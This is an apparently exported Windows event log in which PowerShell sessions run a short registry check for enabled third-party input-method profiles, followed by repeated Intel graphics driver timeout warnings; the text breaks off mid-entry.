\"\"Environment\"\" is Started. \n\nDetails: \n\tProviderName=Environment\n\tNewProviderState=Started\n\n\tSequenceNumber=5\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.836\t600\t\"Provider \"\"FileSystem\"\" is Started. \n\nDetails: \n\tProviderName=FileSystem\n\tNewProviderState=Started\n\n\tSequenceNumber=7\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.836\t600\t\"Provider \"\"Function\"\" is Started. \n\nDetails: \n\tProviderName=Function\n\tNewProviderState=Started\n\n\tSequenceNumber=9\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.836\t600\t\"Provider \"\"Variable\"\" is Started. \n\nDetails: \n\tProviderName=Variable\n\tNewProviderState=Started\n\n\tSequenceNumber=11\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.839\t400\t\"Engine state is changed from None to Available. \n\nDetails: \n\tNewEngineState=Available\n\tPreviousEngineState=None\n\n\tSequenceNumber=13\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=ac67b62f-e408-4136-9555-68557a15cd34\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:55.840\t40962\tPowerShell console is ready for user input\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:55.860\t4104\t\"Creating Scriptblock text (1 of 1):\n\n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\nScriptBlock ID: d9a558dc-25c3-4fd1-9495-6a9ab2df4590\nPath: \"\tWarning\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:56.319\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:56.401\t403\t\"Engine state is changed from Available to Stopped. \n\nDetails: \n\tNewEngineState=Stopped\n\tPreviousEngineState=Available\n\n\tSequenceNumber=33\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=7246f244-6a24-4ffc-a54d-b05d2b9de908\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command \n $Res = 0\n $InboxIMEs = (@(\n '{0000897b-83df-4b96-be07-0fb58b01c4a4}','{03b5835f-f03c-411b-9ce2-aa23e1171e36}',\n '{531fdebf-9b4c-4a43-a2aa-960e8fcdc732}','{6a498709-e00b-4c45-a018-8f9e4081ae40}',\n '{7c472071-36a7-4709-88cc-859513e583a9}','{81d4e9c9-1d3b-41bc-9e6c-4b40bf79e35e}',\n '{81ea0a17-aa39-455b-ba20-ea79a8f98966}','{8613e14c-d0c0-4161-ac0f-1dd2563286bc}',\n '{a028ae76-01b1-46c2-99c4-acd9858ae02f}','{a1e2b86b-924a-4d43-80f6-8a820df7190f}',\n '{b115690a-ea02-48d5-a231-e3578d2fdf80}','{c2cb2cf0-af47-413e-9780-8bc3a3c16068}',\n '{dcbd6fa8-032f-11d3-b5b1-00c04fc324a1}','{e429b25a-e5d3-4d1f-9be3-0c608477e3a1}',\n '{f25e9f57-2fc8-4eb3-a41a-cce5f08541e6}','{fa445657-9379-11d6-b41a-00065b83ee53}'\n ) | ForEach-Object { [regex]::Escape($_) }) -join '|'\n $InboxPattern = 'TIP\\\\(?:' + $InboxIMEs + ')'\n $LanguageProfiles = Get-Item 'HKLM:\\SOFTWARE\\Microsoft\\CTF\\TIP\\{????????-????-????-????-????????????}\\LanguageProfile\\0x*\\{????????-????-????-????-????????????}' -EA SilentlyContinue\n foreach ($prof in @($LanguageProfiles)) {\n if ($prof.PSPath -match $InboxPattern) { continue }\n $pp = Get-ItemProperty $prof.PSPath -EA SilentlyContinue\n $hasEnable = ($pp.PSObject.Properties.Name -contains 'Enable')\n if ((-not $hasEnable) -or ($pp.Enable -eq 1)) {\n $Res = 1\n break\n }\n }\n Write-Host 'Final result:',$Res\n\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=ac67b62f-e408-4136-9555-68557a15cd34\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.590\t40961\tPowerShell console is starting up\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:56.626\t53504\tWindows PowerShell has started an IPC listening thread on process: 17516 in AppDomain: DefaultAppDomain.\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:56.642\t600\t\"Provider \"\"Registry\"\" is Started. \n\nDetails: \n\tProviderName=Registry\n\tNewProviderState=Started\n\n\tSequenceNumber=1\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.643\t600\t\"Provider \"\"Alias\"\" is Started. \n\nDetails: \n\tProviderName=Alias\n\tNewProviderState=Started\n\n\tSequenceNumber=3\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.643\t600\t\"Provider \"\"Environment\"\" is Started. \n\nDetails: \n\tProviderName=Environment\n\tNewProviderState=Started\n\n\tSequenceNumber=5\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.644\t600\t\"Provider \"\"FileSystem\"\" is Started. \n\nDetails: \n\tProviderName=FileSystem\n\tNewProviderState=Started\n\n\tSequenceNumber=7\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.644\t600\t\"Provider \"\"Function\"\" is Started. \n\nDetails: \n\tProviderName=Function\n\tNewProviderState=Started\n\n\tSequenceNumber=9\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.644\t600\t\"Provider \"\"Variable\"\" is Started. \n\nDetails: \n\tProviderName=Variable\n\tNewProviderState=Started\n\n\tSequenceNumber=11\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=\n\tRunspaceId=\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.648\t400\t\"Engine state is changed from None to Available. \n\nDetails: \n\tNewEngineState=Available\n\tPreviousEngineState=None\n\n\tSequenceNumber=13\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=21e6fcd7-50d5-40ae-ae98-e6e90485c35d\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.648\t40962\tPowerShell console is ready for user input\tInformation\tMicrosoft-Windows-PowerShell/Operational\tMicrosoft-Windows-PowerShell\n05.09.2026 08:41:56.734\t403\t\"Engine state is changed from Available to Stopped. \n\nDetails: \n\tNewEngineState=Stopped\n\tPreviousEngineState=Available\n\n\tSequenceNumber=27\n\n\tHostName=ConsoleHost\n\tHostVersion=5.1.26100.9168\n\tHostId=af768790-f801-49c5-8c89-231d6ded434c\n\tHostApplication=powershell.exe -ExecutionPolicy Restricted -Command Write-Host 'Final result: 1';\n\tEngineVersion=5.1.26100.9168\n\tRunspaceId=21e6fcd7-50d5-40ae-ae98-e6e90485c35d\n\tPipelineId=\n\tCommandName=\n\tCommandType=\n\tScriptName=\n\tCommandPath=\n\tCommandLine=\"\tInformation\tWindows PowerShell\tPowerShell\n05.09.2026 08:41:56.901\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:57.766\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:57.989\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:58.213\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:41:59.992\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:02.328\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:03.217\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:09.657\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:11.755\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:17.651\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:19.542\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:20.101\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:21.101\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:22.436\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:24.844\t16\tCounter 6 of instance ({3976adcc-b8ec-4ff9-ae0c-6943a79f212a}, DeliveryOptimizationMIProv, 0) could not be modified. Error: \"The parameter is incorrect.\"\tUndefined\tMicrosoft-Windows-Diagnosis-PCW/Operational\tMicrosoft-Windows-Diagnosis-PCW\n05.09.2026 08:42:25.335\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:25.787\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:26.454\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:26.678\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:27.014\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:29.020\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:30.023\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:30.357\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:32.136\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:33.791\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:39.316\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:39.648\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:40.870\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:41.094\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:42:41.430\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be 